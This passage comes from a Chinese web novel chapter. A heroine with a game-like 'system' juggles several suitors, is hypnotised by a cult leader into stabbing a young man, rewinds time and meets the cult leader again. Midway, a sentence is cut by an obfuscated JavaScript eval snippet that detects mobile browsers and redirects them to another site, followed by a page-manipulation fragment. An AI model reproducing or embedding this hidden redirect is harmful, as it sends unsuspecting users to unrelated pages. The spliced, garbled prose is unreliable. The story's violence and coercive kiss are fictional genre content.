就着这个姿势,谢岩刻意用着油腔滑舌的语调,一只手摸上安童纤细的腰肢,调笑着:“如果我就是想要干些什么呢?刚刚不是挺厉害的吗,现在怂了?” 虽然是逗弄回去,但谢岩的手仍然规规矩矩的,毕竟他终归是个很传统的男人,认定喜欢一个人就要结婚后再做亲密的事,这是对伴侣的尊重。 现在只是吓一吓安童,让她以后不敢对其他男人用这招。 对谢岩可以随意挑逗,他全盘接受小绿茶的恶趣味,但她这样对着别人就不太好了。 眼瞅着安童又要生气,他才不慌不忙抛出来一个大事。 “因为你和邪教组织的案件有关联,我向上级领导做了申请,特聘你成为队里的学生侧写顾问,可以参与侦破案件。” “怎样,现在满意了吗?你随时都能知道调查进度,是不是没有这么怕了?” 谢岩刚说完,就被人搂着脖子往下拽,他低头和安童对视上,这双眼里充满了喜悦,就是没有感动。 不过他也习惯了,安童就是这么个喜欢理直气壮享受别人好处的小绿茶。 “谢谢你啊谢警官……”安童尾音拉长,这件好事突然砸在安童头上,让她今天郁结的心情好转很多,她眉眼弯弯,声音甜甜的,“帮了我这么大忙,需要我怎么奖励你?” 谢岩刚想再次提议合租的事,毕竟他很用心挑选了一套大平层,就是为了来到A市让安童也住进来。 一方面是私心,一方面也确实是为了保护安童。 把安童就这么放在学校,目标太显眼了,谢岩着实不太放心,还是放在眼皮子底下看着比较好。 谢岩要张口,却被另一人堵上。 他感受到唇上的湿软,独属于安童的香气也更加浓郁,头脑再度发昏起来。 刚想要回应,可对方又浅尝辄止,抽离后,她睁大的眼里透着无辜:“这样应该够了吧,或者谢警官你还想要吗?” 微妙地停顿一秒,安童才继续开口,眼波流转间透着狡黠,她轻声引诱道:“我还可以给你更多,但你可要快点查出那个女生是谁,查出她和教主的关联。” 安童似乎觉得好玩一样,谢岩这蠢驴看着凶猛又游刃有余,实则她一逗,这人就犯蠢一样,任由她动作。 她再次轻轻贴上对方,像是小猫在玩乐此不疲的游戏,伸-出舌头舔了舔,满意地看到对方喉结上下一滚,然后她就想往后撤,却被谢岩扣住后脑勺往前一送。 “唔……!” 对方吻得太-深了,像是没有吃过媳妇小嘴的硬汉,十分贪婪的追上去纠缠,短暂的喘息间,他还不忘念念不舍用舌-尖卷走安童嘴角溢-出的甜津。 安童眼泪都出来了,她这才意识到,谢岩这哪是犯蠢,分明是饿傻了,只是一时吃到好的,没有反应过来而已。 有些喘不过气,节奏完全被谢岩掌控了。安童抬起膝盖狠狠踢了一下他的腰部,听这人闷哼一声,动作却没见收敛。 而且谢岩浑身硬邦邦的,刚刚踢那一下,把她膝盖撞得生疼。 她觉得蠢驴这实在有些蹬鼻子上脸了,扬起手甩了他一耳光,谢岩这才清醒似的,放开了安童。 看来刚刚谢岩确实很忘我,眼睛都被刺激红了,神情带着还未散去的餍足,显得意犹未尽。 “抱歉,”谢岩心里开始懊恼,刚刚怎么就没忍住呢,但安童的唇瓣软软的,探-进去时香香的……他止住心里毛躁的想法,正了正色,“你的腿刚刚踢痛了吗?我给你揉揉吧。” 安童连忙避开他,双眼不信任地瞪着他,一只手摸索到车把手,拉开门就跳下车,趁谢岩没反应过来给他关到了车里。 谢岩倒是没有追出来,安童微微喘气,眼角带着未干的泪水,这才通过车窗上的倒影看见自己如今糟糕的模样。 她掏出随身携带的小镜子,正整理着自己的仪表,旁边传来熟悉的声音。 “安童。” 她回头一看,发现不远处正是江萦,额,或者江狼、江薄? 安童仔细端详一阵,发现他神情较为冷淡,灰色眼眸不带情绪地朝她看来,那应该就是江萦了。 他怎么会出现在这? 像是看出了安童的疑问,他缓缓走过来,目光不经意般扫过她背后的轿车,仿佛要透过这道车窗看清里面的人究竟是谁。 “过来办点事情,没想到刚好遇见你。” 安童背后的车门动了动,似乎有人要打开车门出来,瞥见江萦投来的眼神,她脸上带着笑:“真巧啊,我刚刚一个人去外面吃了饭。” 说话间,她后背往车门上一靠,给刚刚打开的缝隙压了回去,不让人出来。 谢岩在车内听到另一个男人的声音,和回忆里那清高贵公子的样貌逐渐重合,他再次联想到那张刺眼的照片。 本以为是有人故意抓拍的,现在看安童和这人聊天时熟稔的态度,难道私下真的这么亲密过? 谢岩稳不住了,想要打开门出去,却被堵住,他脑子一转就猜到是安童不想让他出去。 为什么?是不想让江萦知道她和自己刚刚在车里发生的事吗? 安童不会无缘无故对一个人这么上心,以她爱玩的秉性,也不可能是喜欢上别人,那就八成是江萦身上有她想要的东西,或者是她准备对江萦下手。 现在出去坏了安童的事,回头来又不会理他。 想通之后,谢岩按在车门上的手顿住,重新靠了回去,继续听着他们的聊天。 江萦仿佛没有发现安童这样随意靠在路边一辆车上有多奇怪似的,他嘴边挂着一贯疏淡的笑,像精致的冰雕一样,沉静的目光盯在安童的嘴上,又很快移开:“可以带我逛逛你的学校吗?上次我接你的时候,还没有说几句话,就被你……” 他的话断在了引入遐想的地方,像是有意无意又提起上次的事。 安童疑惑,明明她只是拉下江萦的领带而已,被他说得像是进行了什么见不得人的活动。 后背抵住的车门又动了动,一不小心把安童往前推得踉跄一下,她赶紧靠了回去,面不改色地回话:“今天不行噢,我太累了,想回去休息,改天再……” 江萦却骤然开口打断安童,眼神变得有些冷,如有千钧地往她身后看,话语落在人耳朵里冰棱棱的:“车里是谁?你刚刚从里面出来吗?” 安童:作为男人,有些时候还是应该收敛起不该有的好奇心。 她避而不谈,恍若无意地岔开话题:“对了江薄,真不把你弟弟江萦也叫来A市玩吗?这样我可以带你们一起逛学校。”刺激一下江萦,转移注意力get√ 江萦神色未变,只是微微点头。 背后没再推门了,安童想了想,当着江萦的面掏出手机发了条消息安抚谢岩。 虽然她想要折腾江萦,但不该在这时候暴露本性。 [安徒生:别出来,我会考虑合租的事。] 车辆发动的声音响起,安童站平后,车就缓缓驶离他们所站的位置。 眼看车都没影了,江萦的目光依旧落在车上,她佯装生气地往校门口走去:“好不容易见一面,你的注意力怎么没在我身上,那你赶紧回去吧。” 没走几步,安童又回头,见江萦果不其然跟了上来,她鼓了鼓脸颊,道:“别跟着我,车都开走了,你去追吧,看两条腿能不能跑过四个轮胎。” 说完,便径直离开。 江萦听话地站在了原地,随着安童逐渐走远,确保她看不清自己后,神情逐渐变得混不吝,转头看向那辆车,正好经过一个转弯后消失不见,他眼神阴冷下来。 大脑里传来一道没有耐心的声音:不是商量好了扮成江萦来刺探安童对我的态度吗,你刚刚在干什么?和安童相处的时候你就不能专心点吗,你都把她气跑了,不行就换我上! 江狼没有言语,只是抬腿往那边走去,手往兜里摸了摸,尖锐的东西擦过他的指尖。 江薄察觉到他的想法后,不可置信:难不成你真打算追上去给他刀了?醒醒,你真的不是什么狼,就算是也跑不过吧! 脚步止住,倒不是因为江薄的话,而是江狼得想出个更万无一失的方法干掉那个人。 他不屑道:我没打算跑,准备打车去追,真当我是傻子吗。 没给江薄开口的机会,他继续讽刺:没看出安童刚刚的情况不对吗,那车里估计是她的另一个追求者,人家都亲上嘴了。怪不得被你哥撬墙角,就你这钝感力,哪天江萦背着你和安童上本垒了,第二天她走路姿势不对,你都得天真地担心她是因为床太硬导致没睡好。 江薄支支吾吾没说话了。 江狼准备打道回家,刚拉开车门,另一辆车正好停在他旁边。 车门打开的声音响起。 江狼抬头,眼睛先是扫过熟悉的车身,而后看向跨出车门的男人,这人看上去沉着稳重,却不知道自己的眼神已经出卖了他。 锋利中透着自己都没有察觉出的针对和敌视,像是来打小三的正宫。 原来刚刚就是这个人啊。 江狼没有被谢岩刻意施加的威压吓到,而是扬起一个礼貌的笑,头微微抬起,带着点居高临下的姿态:“离安童远点,不然你不会想知道后果。” 很随意的语气,压根没把眼前的人放在和他一个地位对待。 和谢岩刚刚透过车窗看到的像冰雪一样薄凉的人截然不同,虽然同样傲慢且轻视别人,但性格大变。 他接触的人鱼龙混杂,经验丰富,一眼看出来这人不好惹,不是什么简单的人物。 谢岩审视打量着,刑警敏锐的嗅觉,让他从这人身上感受到了和穷凶极恶的犯罪分子如出一辙的高度危险性,和未经社会驯化的随心所欲。 这小绿茶招惹了些什么人,她知道这人压根不是之前的贵公子吗? 他留意到江狼手伸向了衣兜,隐约看到冒出的一点寒光,瞬间警惕起来,这人却什么也没拿出来。 江狼脸上带着难以捉摸的笑,看向谢岩时,眼里却没有他的倒影似的,十足漠然,什么也没再说,直接上车开走,给站在原地的人留了车轱辘的尾气。 谢岩烦躁地钻进自己的车里,左手握成拳头狠狠砸向方向盘。 * 等待谢岩调查结果的几天,安童按部就班地完成日常活动。 吃早饭,上课,回手机里那堆联系人的破消息,挂电话;吃午饭,上课,回消息,挂电话;吃晚饭,自由活动,听听大师发来的音频,看看书,回消息,挂电话,睡觉。 最近系统像是死机了一样,没有弹出任何提示和特殊事件,甚至连做好事任务也没有,像是已经放弃了挽救安童那跌到下限的德行值。 安童怀疑系统还中了病毒,不然怎么会每天给她弹出【体魄值-0.2】的消息。 她虽然最近心情确实挺烦躁,但也不至于身体健康状况下降得这么离谱吧? 总之,日子过得无聊且充实。 不过……不知道怎么回事,微信置顶的这些男人像是被什么刺激到了一样,成天给她发奇怪的消息,密不透风地询问安童在哪里、在干什么,身边有谁。 其中以江狼、谢岩最甚,动不动就给她打视频。 噢,还有顾峤,顶着他那已经掉马的小号发些伤风败俗的信息,要不是他背后势力深厚且对安童有用,真想直接将这变态交给谢岩举报一条龙送进去。 像是无能的男朋友在查岗。 安童:笑死,都是她养的鱼罢了。 得益于那帮最近很活跃的人,安童还能找点乐子。 比如让江萦体验一下当替身的快乐。 每当安童感到无聊时,就会给江萦发消息。 [安徒生:最近你怎么变得这么冷淡,是我哪里让你厌烦了吗?以前你可是要叫我姐姐的……] 对面估计纠结了很久,隔了一个小时才回消息。 [萦:姐姐。没有厌烦,你喜欢我多说些话吗?] 一想起江萦顶着那张冷淡的脸叫她姐姐,安童就有被爽到。 其实逗到这种程度就可以了,把人刺激得太过也不好,毕竟江萦有情感缺失症,万一没有调理好情绪造成心理变态怎么办。 但安童很会得寸进尺,势必要折磨一下江萦。 不是很喜欢假冒别人吗,安童还真以为江萦有双重人格呢,因此对他产生极大的兴趣,甚至还舍身取义答应他好几次的约会!结果真正有第二人格的是江薄。 这么喜欢冒充身份,那就当江薄当个够吧。 [安徒生:也不全是这样,我喜欢你以前的语气,会显得很喜欢我一样……现在你都不怎么说话了,我更怀念之前的你。最近是发生了什么事吗,所以性格变化这么大?] 不知道江萦经历了怎样的心理路程,等到晚上安童拿起手机看消息时,他发来的消息已经变了一种语气。 [萦:姐姐,原来你喜欢我这样啊!我以为之前那样你很讨厌,毕竟我话有些多(鲜花)] 安童汗毛都竖起来了。 本来以为这样能逼着江萦接受不了后主动承认,现在他是打算彻底坐实,变本加厉伪装成江薄的语气? 以为是个淡人,没想到也是个隐藏的变态,安童速速远离他,连着几天没回江萦消息,但对方的消息发得越来越勤,俨然适应了这种口吻。 当然,尽管变态多到枚举不完,但还是有个正常人的——萧白桦,在众多奇葩中脱颖而出,单纯又好骗,安童说什么他都信。 前一天安童不小心把发给江狼的消息发给萧白桦,他发了一句“?”后就没理她了。 直到安童发了条半夜emo的朋友圈,他又假装“不小心”地点错了一杯奶茶给她。 真装啊。 不过怪可爱的。 一转眼,在安童学校举办的比赛结束了,萧白桦非常含蓄地表达了离开前想见她最后一面的想法。 而这天,谢岩也终于查出来陷害萧白桦的人。 “这个女生是你学校的人,我把照片发你,看看认识吗。” 安童戳开一看,顿时大脑一激灵,后背鸡皮疙瘩都起来了,一种被人时刻监视的、阴魂不散的胆寒再次出现。 ——这个人留着短发,笑容腼腆,看上去十分纯善。 正是之前和安童短暂见过几面的短发女,许凝。 【特殊事件-支线1完成,恭喜宿主找出陷害萧白桦的人】 【德行值+10】 【处事值+10】 【体魄值+10】 【特殊事件-支线2开启:请宿主从许凝那里套出邪教组织的信息】 回想起那几次擦肩而过,安童身子一抖,眼中迅速飙出泪来,她忍着害怕开口,声音难藏惊惧:“我和她有过接触,但她没有对我造成伤害,所以……她的目的是什么?” 警局内。 谢岩在办公室翻着许凝资料,纸张纷飞,突然,他目光定在一条履历上,声音变得严肃:“安童,她和你是同一个初中,你们结过怨吗?” “我初中除了太受欢迎,从来没有和谁起过冲突啊。” 听出了安童话语间的颤抖,谢岩语气放缓,耐心地问道:“放心,她现在已经被押到审讯室了,你现在没事,说明她没有得手。我会亲自审问,一定会问出她的目的。” 顿了顿,谢岩小心道:“你和这起邪教组织的连环案件有很大关联,如果你在现场的话,以你的能力,可以帮助我完成侧写。” 安童其实有点心惊胆战,但她想起自己还有回档功能,又鼓起勇气答应了谢岩。 毕竟她真有系统外挂,或许能够从许凝身上挖掘出和教主有关的信息。 “滴滴……” 刚结束和谢岩的通话,另一个人又见缝插针打过来。 是沈长昀。 安童这几天一直没搭理他,连带着他那不知跑哪鬼混的疯狗养子。 沈长昀对安童冷淡的反应很平淡,她本来还感慨不愧是有阅历的成熟男人,处理感情的事就是果断,也不胡搅蛮缠,没想到这就忍不住了。 安童挂了电话,她现在没兴趣闲聊,直截了当地问他要干什么。 等待回复时,安童才想起一件重要的事,她赶紧给自己存了个档。 [沈长昀:安小姐你好,很抱歉打扰你。沈竹青明天出国了,你作为他的朋友,可以来我家看看他。] 连借口都找好了,不就是想约安童去他家里嘛,还拐弯抹角的,心思真多。 安童也想会会这个难得没有缠着自己的人,情商高又有有分寸,可以结交。 答应后,她便要关掉手机,却见最近和她成为聊天搭子的大师发来一条语音。 她戴上耳机,随手点开。 “现在,是欢迎你加入教会的最后一步……” 什么教会,什么最后一步? 安童意识到不对劲,想要切出语音,手却不由自主顿住,思想逐渐飞走,化为一片白茫茫,像是有谁在她脑中温柔诉说,和风细雨。 仿佛有一双温柔的大手抚摸着她的头,笑着道:孩子,完成你的第一步净化吧。 * 谢岩依旧翻着许凝的资料,他始终认为许凝和安童的再次相遇很可疑。 很快,他发现了端倪,在一份许凝高中同学的口录报告中。 拿起笔,在一处地方圈了圈,谢岩视线凝住,侧脸绷紧。 许凝高二时,性情大变,原本羞赧内敛,不知道经历了什么,变得阴沉孤僻,成天对别人投以敌视的眼神,最后因为打伤同学被口头惩罚。 许凝同学是这样描述当时的场景:“本来是要记处分的,但那个同学说许凝没有打他,而是他自己打伤的自己。” 谢岩瞬间想到了什么。 催眠。 所以,许凝可能不是没对安童下手,而是已经下手成功了。 谢岩立马给安童打了通电话,却一直没接通,虽然小绿茶经常不接很正常,但现在的情况让他莫名生出些不安。 心中警铃大响,担忧和害怕袭上心头,促使他几乎是手慌脚忙地开车前往学校。 学校会堂内。 此时这里僻静无人,显得脚步声异常清晰。 萧白桦心中雀跃地想着:安童竟然主动约他见面,说明心中还是有他的。 虽然心中短暂疑惑过,为什么安童会约他来出过事的休息室,她不是很胆小吗? 但萧白桦很快就自我说服成功:可能是想在他们重遇的地方叙叙旧吧,安童果然很在乎他。 他这次的见面,是不是要被安童转正了? 萧白桦忐忑又兴奋地坐在休息室的凳子上,见到安童打开门进来后,他又矜持地冷酷着,不想让自己喜悦的心情流露出来。 “你怎么把我叫来这里啊,我倒是不怕,但你不是说过很讨厌发生过事故的地方吗?” 说出口后,没有得到安童的回应,她好像不太满意,神情很是冷淡。 萧白桦心里检讨着自己不会说话,叙旧该说什么?当然是情话啊,眼看安童已经走到面前,他装不住冷脸的模样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16994887|190456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,下意识站了起来,绞尽脑汁说话:“我要回学校了,但也在A时,我可以经常来找你,如果你想见我的话,我……” 最后一句话还没说出口,萧白桦轻松的神情僵在脸上,胸口传来被利器穿透过的剧痛,他低头,冷酷的表面褪去,剩下的是难以形容的脆弱。 他难过又不可置信地望着安童。 “噗呲——” 匕首抽出胸膛的声音,带出飞溅的血,落在安童脸上。 有滴血渗进了她眼里,睫毛颤了颤,神情依旧失神恍惚。 萧白桦此时可以反抗,毕竟他作为一个男人,加上经常健身,制住安童还是绰绰有余。 但他只是静止地站在那里,仿佛时间也停滞了,胸口处的疼牵扯到了心口,他嘴角溢出血,却没有伸手去擦,只知道让自己强撑着别倒下。 萧白桦固执又哀伤地直视安童的眼睛,想知道为什么会对他下手,是不是有人威胁她这样做。 但安童像樽石像一样沉默,他仿佛灵魂被抽走一般,终于坚持不住倒下。 为什么,安童就这么讨厌他吗? 可他很听话啊,尽管只是她鱼塘里的一条鱼,但也乖巧地待在鱼塘里没有搅浑水。 他想抬手拉住安童的裤脚问为什么,却被狠狠踢开。 见到这一幕,安童依旧面无表情,只是眼睫快速颤动了一下。 没过一会,她眼神逐渐清明,像是突然灵魂归位一样,瘫倒在地大口喘息。 萧白桦胸口有一个大洞,他今天穿的是一件黑色体恤,此刻已经被血浸透,变成了不祥的暗红色。 “滴——” 没等安童从眼前这一幕缓过来,手机响起提示音,她颤抖着手拿起来点开信息,在这短短的几秒,无数疑问和恐惧像洪流一样将她淹没。 在看信息之前,安童首先注意到的是自己染着鲜-血的手,眼前的画面像是要吃人一样,她闭了闭眼,强压下不知所措,点开大师发来的语音。 “我是教主,恭喜你,在圣音的指导下,已经完成了净化的第一步。” “现在是否有些害怕?这是正常的,净化的第一步总是很难,但只要经过了洗礼,你就是我们的一员,后续我们会帮忙处理现场,不必担忧。” 为什么? 安童捂着脸,几乎是大喊出来,发出语音:“什么破教主!为什么选中我,你们是对我进行了催眠?” 休息室的门打开了。 走进来的这个人依旧穿着西装,俊俏年轻的脸上依旧挂着阳光开朗的笑,显得无比正常,他轻快地吹了声口哨。 “净化这本书好看吗?这是我好不容易送到你面前来的。” 安童几乎想给他一拳,但现在她四肢发软,根本站不起来,眼睁睁看着教主走到她面前蹲下。 宋溪笑意吟吟地用一根手指托起安童的头。 “为什么选中你?”他似乎迟疑了一下,自顾自地摇着头,笑了一声,“你应该问,什么时候选中的你。” 想到了什么,宋溪期待地看向安童,眼里闪着亮光:“你还记得我吗?我们以前见过,那时候你应该在读小学。” 搞什么回忆杀! 安童很暴躁,想骂人:“你是不是有病?我问你为什么选中我!” 他听了后似乎觉得很好笑,乐不可支地回道:“当然是因为你完美符合入教标准。” “我一直在悄悄关注你,你成长得很出色,很会挑拨是非,装无辜搞事,还怪可爱的。本来当时你在S市的侧写让我的组织浮出水面,足够我找人杀掉你无数回了,”他欢快地讲着,像是在和安童分享什么有趣的事情,“尽管我舍不得,但也没办法,不是吗?” “但你比我想象中还要有意思,我很好奇,你是怎么勾得那么多优秀的人为你神魂颠倒,争风吃醋,这简直比催眠还有用。” “你看,倒地上这蠢货甚至没有挣扎,轻而易举被你得手。” 宋溪像是情人间喃喃私语一样,语气格外缠绵。 他凑近安童的脸,在她唇上印下一个吻,但眼里并没有任何旖旎欲望:“你和那些人是怎么亲的,可以和我试试吗?我好奇很久了。” 安童当然拒绝,可宋溪看着笑嘻嘻很好说话,实则压根没给她选择的机会。他掰住安童的下巴不让她动,轻柔又不容拒绝地含住她丰润的唇瓣,小心地舔-坻着。 还没有探-进去,光是这样浅浅的亲吻都足以让宋溪开始着迷,他开始理解那些为安童昏了头脑的人。 但此刻不是好时候,他眼里一暗,松开安童,把声音拉低:“加入我吧,我能看出来,你也游离在这个世界之外,对这里没有归属感,很彷徨吧?加入我……” 【特殊事件:邪教组织的教主诚挚邀请你入会,你选择——】 【A.打工人在哪过不是过,无脑入!】 【B.我是社会主义接班人,不同流合污!】 【注:该事件会影响到宿主的人生发展,请谨慎选择】 安童没憋屈自己,当面骂了回去,在这个模拟世界第一次丝毫不带伪装地骂一个人:“我看监狱挺适合你的,你要不加入一下那些罪犯?也不算委屈了你。” 这破教主讲了半天,全是废话。 安童心疼自己,留在这里听这中二反派少年讲了一堆侮辱她智商的话。 所以纯属她倒霉,因为太有魅力被反派随机选中,然后用下三滥的手段拉她入会。 安童彻底冷静下来。 无所谓,她会回档。 但临走前,她看了一眼躺在地上看不出生死的萧白桦,难以咽下心里的气,用尽身上的力气给了宋溪一拳。 宋溪没有反抗,甚至看出她的动作后,主动凑上前挨下,他大声地笑着,坐在地上歪歪头,饶有兴味地开口:“本来觉得平日里装模作样的你已经够可爱了,没想到你打人的样子更讨人喜欢。” 得了,确诊变态,没得救了。 安童麻了。 来到这个世界后,遇到的变态都可以召唤神龙了。 等她回档后,她一定求着系统做任务提升德行值,改善一下自己的运气。 安童站起来,再次狠狠踢了这变态一脚,才回档。 “滴……” 手机传来消息,是沈长昀发来的,安童随手发了个OK,然后切到和宋溪的聊天框。 没有点开那条语音,安童发了条消息。 [安徒生:大师,你现在在哪,我有超级重要的事要找你(哭)] 对面隔了一会,才把地址发来。 这时谢岩打了通电话过来,安童接起,没等对方开口,她语速极快道:“我好像知道教主是谁了,你赶紧到这个地址。” 说完她就挂掉,并没有具体告知是谁。 毕竟她很难接受自己自己是怎么知道的,谢岩多疑的性格太难搞定了。 等抓住宋溪,再慢慢想理由也不迟。 * 安童来会堂之前,再次存了个档,并给萧白桦发了条信息让他离开。 毕竟她的情况不太稳定,这催眠也不知道怎么触发的,萧白桦又那么笨,被她刺了都不反抗,留着当炮灰吗。 安童坐在观众席,看到宋溪走进来的一瞬间,她下意识有些紧张和害怕,但努力地将这些情绪隐藏了起来。 她装作开心地朝宋溪走去,语气带着埋怨:“大师,你是不知道,最近我的鱼塘可吵了,想来找你取取经。” 宋溪笑了,任由安童拉着他到观众席坐下,闲聊一阵后,他发现了安童的顾左右而言他,像是藏着什么秘密。 而有什么需要这么瞒着他? 宋溪瞬间锁定答案——安童发现了她的身份。 带着答案发现问题后,他开始饶有兴致地欣赏安童的表演。 表情好不无辜,眉眼间带着刻意而为的柔弱,像是弱小的兔子在面临凶兽时想要靠求饶逃过一劫,却不知自己会更加危险。 演技很是拙劣,却有一大堆人前仆后继地主动上钩。 安童这副模样,他私下看过很多回,每次都是看着她迷惑别人,常看常新。 没想到这次轮到了自己。 和旁观时不一样,当他成为当事人的时候,才深有体会地理解那些被安童得手的男人。 这种满足又愉悦的情绪,很让人上瘾。 他没有立刻拆穿,再次津津有味地欣赏了一会,才笑着开口:“你发现我的身份了吧?” 安童心里一惊,表面上却是茫然的模样:“什么身份?” 本来还能维持镇定,听到宋溪接下来的话后,她笑容逐渐僵硬。 “这么胸有成竹,是搬了救兵?让我猜猜,是那个刑警吧,”宋溪夸赞道,“你果然很敏锐,看来得换另一个温和点的办法让你慢慢接受入会了。” “现在,我得抓紧时间干一些事。” 安童再不跑那可就真是傻子了,她刚要起身,就被拉进宋溪怀里,头撞到了他胸膛上,听到他笑声带起的震动。 “你应该不会吝啬给我一个吻吧?” * 安童陡然间激灵一下,她晃晃脑袋,看着坐在身边的宋溪,一时想不起自己是来干什么的。 宋溪脸上带着明媚阳光的笑,看得人暖洋洋的:“你不是让我陪着一起找萧白桦吗?” 啊? 她为什么和大师一起找萧白桦? 安童抱着脑袋,感觉有点不对劲,但又说不上哪里古怪,明明一切看起来都很正常。 看着安童怀疑人生的可爱模样,宋溪脸上的笑放大,他咧嘴一笑,露出了虎牙,显得开朗又可爱:“你不记得了吗?刚刚你让我帮你想办法平衡一下鱼塘,我们讨论了很久,最后决定先去找萧白桦。” 等等,这句话让安童的脑海里浮现一些记忆。 好像她确实对宋溪说过找他帮忙。 难道真是最近神经紧绷导致大脑变糊涂了? 宋溪笑着拉起安童的手。 “我们走吧。”